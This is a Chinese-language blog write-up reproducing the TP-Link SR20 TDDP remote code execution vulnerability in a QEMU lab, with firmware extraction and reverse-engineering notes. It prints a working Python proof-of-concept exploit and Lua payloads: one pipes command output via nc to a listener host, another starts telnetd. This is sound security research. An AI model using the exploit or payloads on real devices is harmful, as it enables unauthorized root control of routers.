TP-Link SR20 本地网络远程代码执行漏洞复现

TP-Link SR20 本地网络远程代码执行漏洞复现

Berial Pwn

固件下载

下载地址

固件提取

1
binwalk -Me tpra_sr20v1_us-up-ver1-2-1-P522_20180518-rel77140_2018-05-21_08.42.04.bin

image-20250328212819323
image-20250328212819323

image-20250328212856403
image-20250328212856403

已知该固件的协议是tddp(网上说的,我用firmwalker扫描没说webserver是哪个)

找一下该文件在/usr/bin/tddp

image-20250328213457467
image-20250328213457467

并且该文件是小端序arm-32的。

搭建测试环境

本地测试

使用qemu-arm-static测试环境,注意加-L

image-20250328214149361
image-20250328214149361

qemu虚拟机

首先去下载arm系统文件

image-20250328214352296
image-20250328214352296

1
2
3
wget https://people.debian.org/~aurel32/qemu/armhf/debian_wheezy_armhf_standard.qcow2
wget https://people.debian.org/~aurel32/qemu/armhf/initrd.img-3.2.0-4-vexpress
wget https://people.debian.org/~aurel32/qemu/armhf/vmlinuz-3.2.0-4-vexpress

tplinknet.sh

1
2
sudo tunctl -t tap0 -u `whoami`  # 为了与 QEMU 虚拟机通信,添加一个虚拟网卡
sudo ifconfig tap0 10.10.10.1/24 # 为添加的虚拟网卡配置 IP 地址

image-20250328215516563
image-20250328215516563

tplinkrun.sh

1
2
3
4
5
6
7
8
#!/bin/sh
qemu-system-arm \
-M vexpress-a9 \
-kernel /home/lxxxt/qemu-images/arm/vmlinuz-3.2.0-4-vexpress \
-initrd /home/lxxxt/qemu-images/arm/initrd.img-3.2.0-4-vexpress \
-drive if=sd,file=/home/lxxxt/qemu-images/arm/debian_wheezy_armhf_standard.qcow2 \
-append "root=/dev/mmcblk0p2 console=ttyAMA0" \
-net nic -net tap,ifname=tap0,script=no,downscript=no -nographic

这里需要注意的是我提示了debian_wheezy_armhf_standard.qcow2 的大小是 25GB,但qemu的要求是2的幂,所以要resize

1
qemu-img resize /home/lxxxt/qemu-images/arm/debian_wheezy_armhf_standard.qcow2 32G

image-20250328233953898
image-20250328233953898

接着就是配置网络

1
ifconfig eth0 10.10.10.2/24

image-20250328234047003
image-20250328234047003

image-20250328234108488
image-20250328234108488

现在可以将文件系统传进来了,有很多种方法,我是用tar打包后python开端口在qemu里面wget

1
2
3
4
5
6
7
8
9
10
11
12
#myubuntu
tar -cvf squashfs-root.tar squashfs-root
python3 -m http.server

#qemu
wget http://10.10.10.1:8000/squashfs-root.tar
tar -xvf squashfs-root.tar squashfs-root

#start server
mount -o bind /dev ./squashfs-root/dev/
mount -t proc /proc/ ./squashfs-root/proc/
chroot . sh

搭建TFTP Server

1
sudo apt install atftpd
  • 编辑 /etc/default/atftpd 文件,USE_INETD=true 改为 USE_INETD=false
  • 修改 /srv/tftp/tftpboot
1
2
3
USE_INETD=false
# OPTIONS below are used only with init script
OPTIONS="--tftpd-timeout 300 --retry-timeout 5 --mcast-port 1758 --mcast-addr 239.239.239.0-255 --mcast-ttl 1 --maxthread 100 --verbose=5 /tftpboot"

然后执行

1
2
3
4
sudo mkdir /tftpboot
sudo chmod 777 /tftpboot
sudo systemctl start atftpd # 启动 atftpd
sudo systemctl status atftpd # 查看atffpd服务状态

在 atftp 的根目录 /tftpboot 下写入 payload 文件

payload 文件内容为:

1
2
3
function config_test(config)
os.execute("id | nc 10.10.10.1 1337")
end

漏洞复现

TP-Link SR20 设备运行了 V1 版本的 TDDP 协议,V1 版本无需认证,只需往 SR20 设备的 UDP 1040 端口发送数据,且数据的第二字节为 0x31 时,SR20 设备会连接发送该请求设备的 TFTP 服务下载相应的文件并使用 LUA 解释器以 root 权限来执行,这就导致存在远程代码执行漏洞

也就是说我们的步骤为:

  1. QEMU 虚拟机中启动 tddp 程序
  2. 宿主机使用 NC 监听端口
  3. 执行 POC,获取命令执行结果

POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#!/usr/bin/python3

# Copyright 2019 Google LLC.
# SPDX-License-Identifier: Apache-2.0

# Create a file in your tftp directory with the following contents:
#
#function config_test(config)
# os.execute("telnetd -l /bin/login.sh")
#end
#
# Execute script as poc.py remoteaddr filename

import sys
import binascii
import socket

port_send = 1040
port_receive = 61000

tddp_ver = "01"
tddp_command = "31"
tddp_req = "01"
tddp_reply = "00"
tddp_padding = "%0.16X" % 00

tddp_packet = "".join([tddp_ver, tddp_command, tddp_req, tddp_reply, tddp_padding])

sock_receive = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock_receive.bind(('', port_receive))

# Send a request
sock_send = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
packet = binascii.unhexlify(tddp_packet)
argument = "%s;arbitrary" % sys.argv[2]
packet = packet + argument.encode()
sock_send.sendto(packet, (sys.argv[1], port_send))
sock_send.close()

response, addr = sock_receive.recvfrom(1024)
r = response.encode('hex')
print(r)

成功复现漏洞

image-20250329000457783
image-20250329000457783

漏洞分析

因为有的地方没有符号,我用的是通过搜索字符串去寻找某个地方,并且看到有一个博主的方法是根据库函数大致判断程序会完成哪些功能,再确定切入点,通过回溯的方法进行梳理,最后查到主函数的位置;

这里以recvfrom作为切入点

image-20250329002251061
image-20250329002251061

image-20250329002355328
image-20250329002355328

这里发现recvfrom函数的第二个参数是a1+45083,也就是说我们传入的数据在a1的偏移45083处,并且下面的两条判断猜测是判断协议版本(这里可能是经验而谈吧,先记住)

然后继续往上回溯

image-20250329001757873
image-20250329001757873

这里就比较熟悉了,对套接字进行宝典给,绑定到1040端口,其实我本身搜字符串也是直接搜到了这里,因为我们运行服务时就是这样;

image-20250329002700949
image-20250329002700949

我们找到前面之后,就可以分析recvfrom后面的流程了,毕竟漏洞是从接收数据之后触发的;

image-20250329003402798
image-20250329003402798

image-20250329003606676
image-20250329003606676

image-20250329003415641
image-20250329003415641

当我们传入的tddp协议包的第二个字节为0x31时

image-20250329003832245
image-20250329003832245

image-20250329003929939
image-20250329003929939

这已经可以看出是个命令拼接了;

tftp是一个传输文件的简单协议 -gr参数后跟要获取/下载的文件名与服务器IP地址:tftp -gr 文件名 资源服务器ip

image-20250329004203099
image-20250329004203099

而这里是限制我们poc中用的payload,里面固定的函数名和参数名;

POC解释

tddp协议:

image-20250329004637668
image-20250329004637668

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import sys
import binascii
import socket

port_send = 1040 # 发送数据到 1040 端口。
port_receive = 61000 # 监听 61000 端口,等待设备响应。

tddp_ver = "01" # TDDP 版本号
tddp_command = "31" # TDDP 命令(可能代表某个特定操作)
tddp_req = "01" # 请求标志;TDDP 请求标志(01):表明该数据包是一个请求。
tddp_reply = "00" # 响应标志;通常在请求数据包中为 00,表示不包含响应。
tddp_padding = "%0.16X" % 00 # 16 字节填充;填充 tddp_padding:保持数据包长度,可能用于对齐数据。

tddp_packet = "".join([tddp_ver, tddp_command, tddp_req, tddp_reply, tddp_padding]) # 最终拼接成 16 进制字符串;

sock_receive = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # 创建 UDP socket,用于接收数据。
sock_receive.bind(('', port_receive)) # 绑定本机 port_receive(61000 端口),监听来自设备的 UDP 响应。

# Send a request
sock_send = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
packet = binascii.unhexlify(tddp_packet) # 将十六进制字符串转换为字节流; 将 TDDP 数据包转换为二进制格式,可以直接通过 UDP 发送。
#sys.argv[1] → 目标 IP 地址(用户输入)。
#sys.argv[2] → 追加的 参数(可能是命令)。
#argument.encode() → 转换为字节流,追加到 TDDP 请求数据包。
#sock_send.sendto(packet, (sys.argv[1], port_send)) → 发送 UDP 数据包。
argument = "%s;arbitrary" % sys.argv[2] # 读取用户输入参数
packet = packet + argument.encode() # 追加参数并编码为字节
sock_send.sendto(packet, (sys.argv[1], port_send)) # 发送到目标 IP 和端口
sock_send.close()

response, addr = sock_receive.recvfrom(1024) # 最多接收 1024 字节数据
r = response.encode('hex') # 将返回的数据转换为十六进制字符串
print(r) # 输出响应数据

参考文章

重现 TP-Link SR20 本地网络远程代码执行漏洞

对TP-Link SR20 tddp协议漏洞的详细逆向研究

TP Link SR20 ACE漏洞分析

  • 标题: TP-Link SR20 本地网络远程代码执行漏洞复现
  • 作者: Berial
  • 创建于 : 2025-03-28 21:14:41
  • 更新于 : 2025-03-29 00:54:58
  • 链接: https://berial.cn/posts/TP-Link-SR20-本地网络远程代码执行漏洞复现.html
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论